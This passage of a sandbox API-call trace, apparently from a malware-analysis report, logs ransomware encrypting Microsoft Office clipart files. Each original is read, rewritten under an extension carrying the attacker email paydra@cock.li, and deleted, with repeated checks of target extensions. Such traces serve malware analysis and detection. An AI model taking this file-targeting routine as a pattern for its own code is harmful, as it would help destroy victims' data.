(lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0056.470] lstrlenW (lpString=".jpg") returned 4 [0056.470] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.857] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=4708) returned 1 [0058.857] CloseHandle (hObject=0x188) returned 1 [0058.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf")) returned 0x20 [0058.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0058.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0058.858] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.858] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0058.858] GetLastError () returned 0x0 [0058.858] ReadFile (in: hFile=0x188, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x1264, lpOverlapped=0x0) returned 1 [0058.861] WriteFile (in: hFile=0x1c8, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x1270, lpOverlapped=0x0) returned 1 [0058.862] ReadFile (in: hFile=0x188, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0058.862] WriteFile (in: hFile=0x1c8, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xec, lpOverlapped=0x0) returned 1 [0058.862] SetEndOfFile (hFile=0x1c8) returned 1 [0058.862] CloseHandle (hObject=0x1c8) returned 1 [0058.862] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.862] SetEndOfFile (hFile=0x188) returned 1 [0058.863] CloseHandle (hObject=0x188) returned 1 [0058.863] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0058.863] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf")) returned 1 [0058.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0058.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0058.863] lstrlenW (lpString=".doc") returned 4 [0058.863] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.864] lstrlenW (lpString=".docx") returned 5 [0058.864] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.864] lstrlenW (lpString=".pdf") returned 4 [0058.864] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.864] lstrlenW (lpString=".xls") returned 4 [0058.864] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.864] lstrlenW (lpString=".xlsx") returned 5 [0058.864] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.864] lstrlenW (lpString=".ppt") returned 4 [0058.864] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0058.864] lstrlenW (lpString=".zip") returned 4 [0058.864] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.864] lstrlenW (lpString=".rar") returned 4 [0058.864] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.864] lstrlenW (lpString=".bz2") returned 4 [0058.864] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.864] lstrlenW (lpString=".7z") returned 3 [0058.864] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0058.864] lstrlenW (lpString=".dbf") returned 4 [0058.864] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0058.864] lstrlenW (lpString=".1cd") returned 4 [0058.864] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0058.864] lstrlenW (lpString=".jpg") returned 4 [0058.864] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.865] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=2644) returned 1 [0058.865] CloseHandle (hObject=0x188) returned 1 [0058.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf")) returned 0x20 [0058.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0058.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0058.865] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.865] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0058.865] GetLastError () returned 0x0 [0058.865] ReadFile (in: hFile=0x188, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0xa54, lpOverlapped=0x0) returned 1 [0058.867] WriteFile (in: hFile=0x1c8, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xa60, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xa60, lpOverlapped=0x0) returned 1 [0058.868] ReadFile (in: hFile=0x188, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0058.868] WriteFile (in: hFile=0x1c8, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xec, lpOverlapped=0x0) returned 1 [0058.868] SetEndOfFile (hFile=0x1c8) returned 1 [0058.868] CloseHandle (hObject=0x1c8) returned 1 [0058.868] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.868] SetEndOfFile (hFile=0x188) returned 1 [0058.869] CloseHandle (hObject=0x188) returned 1 [0058.869] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0058.869] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf")) returned 1 [0058.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0058.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0058.869] lstrlenW (lpString=".doc") returned 4 [0058.869] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.869] lstrlenW (lpString=".docx") returned 5 [0058.869] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.869] lstrlenW (lpString=".pdf") returned 4 [0058.869] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.869] lstrlenW (lpString=".xls") returned 4 [0058.869] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.869] lstrlenW (lpString=".xlsx") returned 5 [0058.869] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.870] lstrlenW (lpString=".ppt") returned 4 [0058.870] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0058.870] lstrlenW (lpString=".zip") returned 4 [0058.870] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.870] lstrlenW (lpString=".rar") returned 4 [0058.870] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.870] lstrlenW (lpString=".bz2") returned 4 [0058.870] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.870] lstrlenW (lpString=".7z") returned 3 [0058.870] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0058.870] lstrlenW (lpString=".dbf") returned 4 [0058.870] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0058.870] lstrlenW (lpString=".1cd") returned 4 [0058.870] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0058.870] lstrlenW (lpString=".jpg") returned 4 [0058.870] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.870] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=5272) returned 1 [0058.870] CloseHandle (hObject=0x188) returned 1 [0058.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf")) returned 0x20 [0058.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0058.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0058.871] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.871] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0058.871] GetLastError () returned 0x0 [0058.871] ReadFile (in: hFile=0x188, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x1498, lpOverlapped=0x0) returned 1 [0058.873] WriteFile (in: hFile=0x1c8, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x14a0, lpOverlapped=0x0) returned 1 [0058.873] ReadFile (in: hFile=0x188, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0058.874] WriteFile (in: hFile=0x1c8, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xec, lpOverlapped=0x0) returned 1 [0058.874] SetEndOfFile (hFile=0x1c8) returned 1 [0058.874] CloseHandle (hObject=0x1c8) returned 1 [0058.874] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.874] SetEndOfFile (hFile=0x188) returned 1 [0058.875] CloseHandle (hObject=0x188) returned 1 [0058.875] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0058.875] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf")) returned 1 [0058.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0058.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0058.876] lstrlenW (lpString=".doc") returned 4 [0058.876] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.876] lstrlenW (lpString=".docx") returned 5 [0058.876] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.876] lstrlenW (lpString=".pdf") returned 4 [0058.876] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.876] lstrlenW (lpString=".xls") returned 4 [0058.876] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.876] lstrlenW (lpString=".xlsx") returned 5 [0058.876] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.876] lstrlenW (lpString=".ppt") returned 4 [0058.876] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0058.876] lstrlenW (lpString=".zip") returned 4 [0058.876] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.876] lstrlenW (lpString=".rar") returned 4 [0058.876] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.876] lstrlenW (lpString=".bz2") returned 4 [0058.876] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.876] lstrlenW (lpString=".7z") returned 3 [0058.876] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0058.876] lstrlenW (lpString=".dbf") returned 4 [0058.876] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0058.876] lstrlenW (lpString=".1cd") returned 4 [0058.876] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0058.876] lstrlenW (lpString=".jpg") returned 4 [0058.876] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0060.405] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.405] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0060.406] GetLastError () returned 0x0 [0060.406] ReadFile (in: hFile=0x198, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0xbc8, lpOverlapped=0x0) returned 1 [0060.633] WriteFile (in: hFile=0x214, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xbd0, lpOverlapped=0x0) returned 1 [0060.634] ReadFile (in: hFile=0x198, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.634] WriteFile (in: hFile=0x214, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.634] SetEndOfFile (hFile=0x214) returned 1 [0060.634] CloseHandle (hObject=0x214) returned 1 [0060.634] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.634] SetEndOfFile (hFile=0x198) returned 1 [0060.635] CloseHandle (hObject=0x198) returned 1 [0060.635] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0060.635] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf")) returned 1 [0060.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0060.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0060.636] lstrlenW (lpString=".doc") returned 4 [0060.636] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0060.636] lstrlenW (lpString=".docx") returned 5 [0060.636] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0060.636] lstrlenW (lpString=".pdf") returned 4 [0060.636] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0060.636] lstrlenW (lpString=".xls") returned 4 [0060.636] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0060.636] lstrlenW (lpString=".xlsx") returned 5 [0060.636] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0060.636] lstrlenW (lpString=".ppt") returned 4 [0060.636] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0060.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0060.636] lstrlenW (lpString=".zip") returned 4 [0060.636] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0060.636] lstrlenW (lpString=".rar") returned 4 [0060.636] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0060.636] lstrlenW (lpString=".bz2") returned 4 [0060.636] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0060.636] lstrlenW (lpString=".7z") returned 3 [0060.636] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0060.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0060.636] lstrlenW (lpString=".dbf") returned 4 [0060.636] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0060.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0060.637] lstrlenW (lpString=".1cd") returned 4 [0060.637] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0060.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0060.637] lstrlenW (lpString=".jpg") returned 4 [0060.637] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0060.637] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=2378) returned 1 [0060.637] CloseHandle (hObject=0x198) returned 1 [0060.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf")) returned 0x20 [0060.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0060.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0060.638] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.638] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0060.638] GetLastError () returned 0x0 [0060.638] ReadFile (in: hFile=0x198, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x94a, lpOverlapped=0x0) returned 1 [0060.659] WriteFile (in: hFile=0x214, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x950, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x950, lpOverlapped=0x0) returned 1 [0060.659] ReadFile (in: hFile=0x198, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.659] WriteFile (in: hFile=0x214, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.660] SetEndOfFile (hFile=0x214) returned 1 [0060.660] CloseHandle (hObject=0x214) returned 1 [0060.660] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.660] SetEndOfFile (hFile=0x198) returned 1 [0060.660] CloseHandle (hObject=0x198) returned 1 [0060.661] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0060.661] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf")) returned 1 [0060.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0060.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0060.884] lstrlenW (lpString=".doc") returned 4 [0060.884] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0060.885] lstrlenW (lpString=".docx") returned 5 [0060.885] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0060.885] lstrlenW (lpString=".pdf") returned 4 [0060.885] 